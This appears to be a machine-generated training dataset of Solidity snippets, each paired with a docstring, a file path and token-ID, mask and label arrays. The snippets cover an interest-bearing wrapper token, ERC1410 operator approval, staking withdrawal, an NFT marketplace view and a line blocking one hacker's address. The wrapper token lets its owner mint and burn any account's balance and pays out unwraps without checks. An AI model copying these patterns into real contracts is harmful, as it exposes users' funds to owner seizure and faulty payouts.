385, 872, 7951, 1235, 12, 2867, 5793, 1769, 203, 203, 203, 565, 1758, 8526, 1071, 666, 899, 31, 203, 203, 565, 2874, 12, 2867, 516, 1758, 13, 1071, 11591, 2408, 3062, 31, 203, 203, 565, 533, 1071, 2077, 31, 203, 203, 565, 467, 654, 39, 27, 5340, 1071, 662, 367, 6433, 31, 203, 203, 565, 1426, 1071, 15083, 31, 203, 203, 565, 1426, 1071, 29200, 1235, 273, 629, 31, 203, 203, 565, 2254, 5034, 1071, 662, 367, 3039, 2 ]
./partial_match/3/0x0Cb6cBf6e75486EA3B6adEc947e07bc1c25E3f2a/sources/CommonWealth.sol
* @title Interest @author Nick Ward @dev Uses DSMath's wad and ray math to implement (approximately) continuously compounding interest by calculating discretely compounded interest compounded every second./
contract CommonWealth is Context, IERC20, Ownable, DSMath { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => uint256) private _points; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; uint256 public _time; string private _name; string private _symbol; uint8 private _decimals; address public _feeTarget0; uint256 public _fee; uint256 public _feedivisor; uint256 public _wrapfee; uint256 public _wrapfeedivisor; address[] public _erc20Address = new address[](0); uint256[] public _erc20Weight = new uint256[](0); uint256 public _createTime; uint256 public _currentTime; uint256 public _elapsedTime; uint256 public _interestScale = 1000000000000000000; uint256 public _interestRate; int public arrayLength = 0; event Change(address indexed to,string func); event WeightChanged(uint256 indexed to,string func,uint256 index); event Mint(address indexed dst, uint wad); event Burn(address indexed src, uint wad); event Approval(address indexed src, address indexed guy, uint wad); event Transfer(address indexed src, address indexed dst, uint wad); IERC20 ERC20; constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; _createTime = now; } function wadToRay(uint _wad) internal pure returns (uint) { return mul(_wad, 10 ** 9); } function weiToRay(uint _wei) internal pure returns (uint) { return mul(_wei, 10 ** 27); } function accrueInterest(uint _principal, uint _rate, uint _age) internal pure returns (uint) { return rmul(_principal, rpow(_rate, _age)); } function yearlyRateToRay(uint _rateWad) internal pure returns (uint) { return add(wadToRay(1 ether), rdiv(wadToRay(_rateWad), weiToRay(365*86400))); } function updateRate(uint256 rateWad) public onlyOwner(){ _interestRate = yearlyRateToRay(rateWad); } function updateTime() public returns(uint) { _currentTime = now; _elapsedTime = _currentTime-_createTime; _interestScale = accrueInterest(_interestScale,_interestRate,_elapsedTime); return accrueInterest(_interestScale,_interestRate,_elapsedTime); } function mint(address account, uint256 amount) public onlyOwner { _mint(account, amount); } function burn(address account, uint256 amount) public onlyOwner { _burn(account, amount); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function setFee(uint256 amount, uint256 divisor) onlyOwner public returns (bool) { _fee = amount; _feedivisor = divisor; return true; } function setWrapFee(uint256 amount, uint256 divisor) onlyOwner public returns (bool){ _wrapfee = amount; _wrapfeedivisor = divisor; return true; } function setFeeTarget(address target0) onlyOwner public returns (bool){ _feeTarget0 = target0; emit Change(target0,"fee0"); return true; } function arrayAdd(address erc20Address, uint256 initialWeight) onlyOwner public returns(bool){ _erc20Address.push() =erc20Address; _erc20Weight.push() = initialWeight; arrayLength += 1; return true; } function setWeight(uint256 weight,uint256 index) onlyOwner public returns (bool){ _erc20Weight[index] = weight; emit WeightChanged(weight,"weight changed",index); return true; } function setERC20Address(address erc20Address,uint256 index,uint256 initialWeight) onlyOwner public returns(uint) { ERC20 = IERC20(erc20Address); _erc20Address[index] = erc20Address; _erc20Weight[index] = initialWeight; emit Change(erc20Address,"erc20"); return _erc20Address.length; } function removeERC20Address(uint256 index) onlyOwner public returns(bool) { delete _erc20Address[index]; return true; } function wrap(uint256 amount,uint256 index) public returns (uint256) { updateTime(); IERC20 token; token = IERC20(_erc20Address[index]); uint256 yieldDist = wdiv(wmul(amount,_wrapfee),_wrapfeedivisor); uint256 receivable = amount-yieldDist; uint256 receivableWeighted = wdiv(wmul(amount,_erc20Weight[index]),_interestScale); require(token.transferFrom(msg.sender, _feeTarget0, yieldDist),"Not enough tokens!"); require(token.transferFrom(msg.sender, address(this), receivable),"Not enough tokens!"); _mint(msg.sender, receivableWeighted); emit Mint(msg.sender,receivableWeighted); return receivableWeighted; } function unwrap(uint256 amount,uint256 index) public returns(uint256) { updateTime(); address acc = msg.sender; IERC20 token; uint256 amountWeighted = wmul(_erc20Weight[index],amount); uint256 finalWeighted = wmul(amountWeighted,_interestScale); token = IERC20(_erc20Address[index]); token.transfer(acc,finalWeighted); _burn(msg.sender, amount); emit Burn(msg.sender,amount); return _interestScale; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); updateTime(); _beforeTokenTransfer(sender, recipient, amount); uint256 fees = (amount*_fee)/_feedivisor; uint256 receivable = amount-fees; _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(receivable); _balances[_feeTarget0] = _balances[_feeTarget0].add(fees); assert(fees.add(receivable)==amount); emit Transfer(sender, recipient, amount); emit Transfer(sender, _feeTarget0, fees); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
5,269,234
[ 1, 29281, 225, 423, 1200, 678, 1060, 225, 14854, 463, 7303, 421, 1807, 341, 361, 471, 14961, 4233, 358, 2348, 261, 26742, 381, 5173, 13, 17235, 715, 11360, 310, 16513, 635, 21046, 19169, 1349, 2357, 1161, 12002, 16513, 1161, 12002, 3614, 2205, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 5658, 3218, 4162, 353, 1772, 16, 467, 654, 39, 3462, 16, 14223, 6914, 16, 463, 7303, 421, 288, 203, 565, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 203, 565, 2874, 261, 2867, 516, 2254, 5034, 13, 3238, 389, 70, 26488, 31, 203, 565, 2874, 261, 2867, 516, 2254, 5034, 13, 3238, 389, 4139, 31, 203, 565, 2874, 261, 2867, 516, 2874, 261, 2867, 516, 2254, 5034, 3719, 3238, 389, 5965, 6872, 31, 203, 203, 565, 2254, 5034, 3238, 389, 4963, 3088, 1283, 31, 203, 565, 2254, 5034, 1071, 389, 957, 31, 203, 565, 533, 3238, 389, 529, 31, 203, 565, 533, 3238, 389, 7175, 31, 203, 565, 2254, 28, 3238, 389, 31734, 31, 203, 565, 1758, 1071, 389, 21386, 2326, 20, 31, 203, 565, 2254, 5034, 1071, 389, 21386, 31, 203, 565, 2254, 5034, 1071, 389, 7848, 427, 12385, 31, 203, 565, 2254, 5034, 1071, 389, 4113, 21386, 31, 203, 565, 2254, 5034, 1071, 389, 4113, 7848, 427, 12385, 31, 203, 565, 1758, 8526, 1071, 389, 12610, 3462, 1887, 273, 394, 1758, 8526, 12, 20, 1769, 203, 565, 2254, 5034, 8526, 1071, 389, 12610, 3462, 6544, 273, 394, 2254, 5034, 8526, 12, 20, 1769, 203, 565, 2254, 5034, 1071, 389, 2640, 950, 31, 203, 565, 2254, 5034, 1071, 389, 2972, 950, 31, 203, 565, 2254, 5034, 1071, 389, 26201, 950, 31, 203, 565, 2254, 5034, 1071, 389, 2761, 395, 5587, 273, 2130, 12648, 12648, 31, 203, 565, 2254, 5034, 1071, 389, 2761, 395, 4727, 31, 203, 565, 509, 1071, 526, 1782, 273, 2 ]
// SPDX-License-Identifier: MIT pragma solidity >=0.4.24 <0.8.0; import "./ERC1410Basic.sol"; contract ERC1410Operator is ERC1410Basic { // Mapping from (investor, partition, operator) to approved status mapping (address => mapping (bytes32 => mapping (address => bool))) partitionApprovals; // Mapping from (investor, operator) to approved status (can be used against any partition) mapping (address => mapping (address => bool)) approvals; event AuthorizedOperator(address indexed operator, address indexed tokenHolder); event RevokedOperator(address indexed operator, address indexed tokenHolder); event AuthorizedOperatorByPartition(bytes32 indexed partition, address indexed operator, address indexed tokenHolder); event RevokedOperatorByPartition(bytes32 indexed partition, address indexed operator, address indexed tokenHolder); /// @notice Determines whether `_operator` is an operator for all partitions of `_tokenHolder` /// @param _operator The operator to check /// @param _tokenHolder The token holder to check /// @return Whether the `_operator` is an operator for all partitions of `_tokenHolder` function isOperator(address _operator, address _tokenHolder) public view returns (bool) { return approvals[_tokenHolder][_operator]; } /// @notice Determines whether `_operator` is an operator for a specified partition of `_tokenHolder` /// @param _partition The partition to check /// @param _operator The operator to check /// @param _tokenHolder The token holder to check /// @return Whether the `_operator` is an operator for a specified partition of `_tokenHolder` function isOperatorForPartition(bytes32 _partition, address _operator, address _tokenHolder) public view returns (bool) { return partitionApprovals[_tokenHolder][_partition][_operator]; } /////////////////////// /// Operator Management /////////////////////// /// @notice Authorises an operator for all partitions of `msg.sender` /// @param _operator An address which is being authorised function authorizeOperator(address _operator) external { approvals[msg.sender][_operator] = true; emit AuthorizedOperator(_operator, msg.sender); } /// @notice Revokes authorisation of an operator previously given for all partitions of `msg.sender` /// @param _operator An address which is being de-authorised function revokeOperator(address _operator) external { approvals[msg.sender][_operator] = false; emit RevokedOperator(_operator, msg.sender); } /// @notice Authorises an operator for a given partition of `msg.sender` /// @param _partition The partition to which the operator is authorised /// @param _operator An address which is being authorised function authorizeOperatorByPartition(bytes32 _partition, address _operator) external { require(_validPartition(_partition,msg.sender),"Invalid partition"); partitionApprovals[msg.sender][_partition][_operator] = true; emit AuthorizedOperatorByPartition(_partition, _operator, msg.sender); } /// @notice Revokes authorisation of an operator previously given for a specified partition of `msg.sender` /// @param _partition The partition to which the operator is de-authorised /// @param _operator An address which is being de-authorised function revokeOperatorByPartition(bytes32 _partition, address _operator) external { require(_validPartition(_partition,msg.sender),"Invalid partition"); partitionApprovals[msg.sender][_partition][_operator] = false; emit RevokedOperatorByPartition(_partition, _operator, msg.sender); } /// @notice Transfers the ownership of tokens from a specified partition from one address to another address /// @param _partition The partition from which to transfer tokens /// @param _from The address from which to transfer tokens from /// @param _to The address to which to transfer tokens to /// @param _value The amount of tokens to transfer from `_partition` /// @param _data Additional data attached to the transfer of tokens /// @param _operatorData Additional data attached to the transfer of tokens by the operator function operatorTransferByPartition(bytes32 _partition, address _from, address _to, uint256 _value, bytes memory _data, bytes memory _operatorData) public { // TODO: Add a functionality of verifying the `_operatorData` // TODO: Add a functionality of verifying the `_data` require( isOperator(msg.sender, _from) || isOperatorForPartition(_partition, msg.sender, _from), "Not authorised" ); _transferByPartition(_from, _to, _value, _partition, _data, msg.sender, _operatorData); } }
@notice Authorises an operator for all partitions of `msg.sender` @param _operator An address which is being authorised
function authorizeOperator(address _operator) external { approvals[msg.sender][_operator] = true; emit AuthorizedOperator(_operator, msg.sender); }
13,022,037
[ 1, 3594, 6141, 392, 3726, 364, 777, 10060, 434, 1375, 3576, 18, 15330, 68, 225, 389, 9497, 1922, 1758, 1492, 353, 3832, 2869, 5918, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 12229, 5592, 12, 2867, 389, 9497, 13, 3903, 288, 203, 3639, 6617, 4524, 63, 3576, 18, 15330, 6362, 67, 9497, 65, 273, 638, 31, 203, 3639, 3626, 6712, 1235, 5592, 24899, 9497, 16, 1234, 18, 15330, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x5f1e33def054e7AFA83F05F5D4b087e3D9c19DF6/sources/Staking.sol
* Function withdrawInterestWithoutUnstaking The function takes in 1 variable, (zero or a positive integer) _withdrawalAmt. It can only be called by functions outside of this contract. It does the following : creates an internal variable totalInterestEarnedTillNow with initial value interestEarnedUpToNowBeforeTaxesAndNotYetWithdrawn with variable _address as the address that called this function checks that _withdrawalAmt is less than or equals to totalInterestEarnedTillNow creates an internal variable thisRecord with initial value addressMap with element the address that called this function updates addressMap (Element the address that called this function) as Struct comprising (thisRecord with element stakeTime), (thisRecord with element stakeAmt), current time, ((totalInterestEarnedTillNow) - (_withdrawalAmt)), ((thisRecord with element amtWithdrawn) + (_withdrawalAmt)) checks that (ERC20's balanceOf function with variable recipient as the address of this contract) is greater than or equals to _withdrawalAmt calls ERC20's transfer function with variable recipient as the address that called this function, variable amount as _withdrawalAmt updates totalWithdrawals as (totalWithdrawals) + (_withdrawalAmt)/
function withdrawInterestWithoutUnstaking(uint256 _withdrawalAmt) external { uint256 totalInterestEarnedTillNow = interestEarnedUpToNowBeforeTaxesAndNotYetWithdrawn(msg.sender); require((_withdrawalAmt <= totalInterestEarnedTillNow), "Withdrawn amount must be less than withdrawable amount"); record memory thisRecord = addressMap[msg.sender]; addressMap[msg.sender] = record (thisRecord.stakeTime, thisRecord.stakeAmt, block.timestamp, (totalInterestEarnedTillNow - _withdrawalAmt), (thisRecord.amtWithdrawn + _withdrawalAmt)); require((ERC20(0xf840099E75199255905284C38708d594546560a4).balanceOf(address(this)) >= _withdrawalAmt), "Insufficient amount of the token in this contract to transfer out. Please contact the contract owner to top up the token."); ERC20(0xf840099E75199255905284C38708d594546560a4).transfer(msg.sender, _withdrawalAmt); totalWithdrawals = (totalWithdrawals + _withdrawalAmt); }
3,085,111
[ 1, 2083, 598, 9446, 29281, 8073, 984, 334, 6159, 1021, 445, 5530, 316, 404, 2190, 16, 261, 7124, 578, 279, 6895, 3571, 13, 389, 1918, 9446, 287, 31787, 18, 2597, 848, 1338, 506, 2566, 635, 4186, 8220, 434, 333, 6835, 18, 2597, 1552, 326, 3751, 294, 3414, 392, 2713, 2190, 2078, 29281, 41, 1303, 329, 56, 737, 8674, 598, 2172, 460, 16513, 41, 1303, 329, 1211, 774, 8674, 4649, 7731, 281, 1876, 1248, 61, 278, 1190, 9446, 82, 598, 2190, 389, 2867, 487, 326, 1758, 716, 2566, 333, 445, 4271, 716, 389, 1918, 9446, 287, 31787, 353, 5242, 2353, 578, 1606, 358, 2078, 29281, 41, 1303, 329, 56, 737, 8674, 3414, 392, 2713, 2190, 333, 2115, 598, 2172, 460, 1758, 863, 598, 930, 326, 1758, 716, 2566, 333, 445, 4533, 1758, 863, 261, 1046, 326, 1758, 716, 2566, 333, 445, 13, 487, 7362, 532, 683, 13734, 261, 2211, 2115, 2 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
[ 1, 202, 915, 598, 9446, 29281, 8073, 984, 334, 6159, 12, 11890, 5034, 389, 1918, 9446, 287, 31787, 13, 3903, 288, 203, 202, 202, 11890, 5034, 2078, 29281, 41, 1303, 329, 56, 737, 8674, 273, 16513, 41, 1303, 329, 1211, 774, 8674, 4649, 7731, 281, 1876, 1248, 61, 278, 1190, 9446, 82, 12, 3576, 18, 15330, 1769, 203, 202, 202, 6528, 12443, 67, 1918, 9446, 287, 31787, 1648, 2078, 29281, 41, 1303, 329, 56, 737, 8674, 3631, 315, 1190, 9446, 82, 3844, 1297, 506, 5242, 2353, 598, 9446, 429, 3844, 8863, 203, 202, 202, 3366, 3778, 333, 2115, 273, 1758, 863, 63, 3576, 18, 15330, 15533, 203, 202, 202, 2867, 863, 63, 3576, 18, 15330, 65, 225, 273, 1409, 261, 2211, 2115, 18, 334, 911, 950, 16, 333, 2115, 18, 334, 911, 31787, 16, 1203, 18, 5508, 16, 261, 4963, 29281, 41, 1303, 329, 56, 737, 8674, 300, 389, 1918, 9446, 287, 31787, 3631, 261, 2211, 2115, 18, 301, 88, 1190, 9446, 82, 397, 389, 1918, 9446, 287, 31787, 10019, 203, 202, 202, 6528, 12443, 654, 39, 3462, 12, 20, 5841, 5193, 713, 2733, 41, 5877, 19818, 10395, 29, 6260, 22, 5193, 39, 7414, 27, 6840, 72, 6162, 24, 6564, 26, 4313, 20, 69, 24, 2934, 12296, 951, 12, 2867, 12, 2211, 3719, 1545, 389, 1918, 9446, 287, 31787, 3631, 315, 5048, 11339, 3844, 434, 326, 1147, 316, 333, 6835, 358, 7412, 596, 18, 7801, 5388, 326, 6835, 3410, 358, 1760, 731, 326, 1147, 1199, 1769, 203, 202, 202, 654, 39, 3462, 12, 20, 5841, 2 ]
./full_match/40/0x76569fbe7B45Aa83723F590a95807BA94849a5c2/sources/omnidex/nft-marketplace/ERC721NFTMarketV1.sol
@notice View addresses and details for all the collections available for trading @param cursor: cursor @param size: size of the response/
function viewCollections(uint256 cursor, uint256 size) external view returns ( address[] memory collectionAddresses, Collection[] memory collectionDetails, uint256 ) { uint256 length = size; if (length > _collectionAddressSet.length() - cursor) { length = _collectionAddressSet.length() - cursor; } collectionAddresses = new address[](length); collectionDetails = new Collection[](length); for (uint256 i = 0; i < length; i++) { collectionAddresses[i] = _collectionAddressSet.at(cursor + i); collectionDetails[i] = _collections[collectionAddresses[i]]; } return (collectionAddresses, collectionDetails, cursor + length); }
9,543,117
[ 1, 1767, 6138, 471, 3189, 364, 777, 326, 6980, 2319, 364, 1284, 7459, 225, 3347, 30, 3347, 225, 963, 30, 963, 434, 326, 766, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 282, 445, 1476, 15150, 12, 11890, 5034, 3347, 16, 2254, 5034, 963, 13, 203, 4202, 3903, 203, 4202, 1476, 203, 4202, 1135, 261, 203, 6647, 1758, 8526, 3778, 1849, 7148, 16, 203, 6647, 2200, 8526, 3778, 1849, 3790, 16, 203, 6647, 2254, 5034, 203, 4202, 262, 203, 282, 288, 203, 4202, 2254, 5034, 769, 273, 963, 31, 203, 7010, 4202, 309, 261, 2469, 405, 389, 5548, 1887, 694, 18, 2469, 1435, 300, 3347, 13, 288, 203, 6647, 769, 273, 389, 5548, 1887, 694, 18, 2469, 1435, 300, 3347, 31, 203, 4202, 289, 203, 7010, 4202, 1849, 7148, 273, 394, 1758, 8526, 12, 2469, 1769, 203, 4202, 1849, 3790, 273, 394, 2200, 8526, 12, 2469, 1769, 203, 7010, 4202, 364, 261, 11890, 5034, 277, 273, 374, 31, 277, 411, 769, 31, 277, 27245, 288, 203, 6647, 1849, 7148, 63, 77, 65, 273, 389, 5548, 1887, 694, 18, 270, 12, 9216, 397, 277, 1769, 203, 6647, 1849, 3790, 63, 77, 65, 273, 389, 19246, 63, 5548, 7148, 63, 77, 13563, 31, 203, 4202, 289, 203, 7010, 4202, 327, 261, 5548, 7148, 16, 1849, 3790, 16, 3347, 397, 769, 1769, 203, 282, 289, 203, 7010, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x929210C198F47d2c5193cE9e601227a04B943Cf2/sources/browser/Untitled.sol
livecoin hack December 24, 2020
if (_from == 0x6ee06cd090937E6b768461Fc81825762815E223a) revert('error 2412');
3,080,307
[ 1, 80, 427, 557, 885, 11769, 1505, 311, 81, 744, 4248, 16, 26599, 20, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
